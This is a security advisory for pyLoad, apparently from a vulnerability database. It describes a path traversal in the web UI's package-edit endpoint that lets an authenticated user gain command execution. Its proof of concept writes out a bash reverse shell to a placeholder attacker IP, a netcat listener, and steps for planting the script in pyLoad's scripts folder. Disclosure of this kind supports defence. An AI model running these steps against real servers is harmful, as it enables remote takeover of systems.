A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/jsonblueprint.py::editpackage::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
Start netcat listener for reverse shells
nc -vklp 9999
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
Create a package with link pointing to the attacker
http://<attacker_ip>/evil.sh
Edit package and change folder to /config/scripts/package_deleted/
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
Delete any package package to trigger the script
An authenticated user can gain control over the underlying pyLoad server.
{
"nvd_published_at": "2024-01-08T20:15:44Z",
"severity": "HIGH",
"github_reviewed_at": "2023-11-21T22:19:10Z",
"github_reviewed": true,
"cwe_ids": [
"CWE-22"
]
}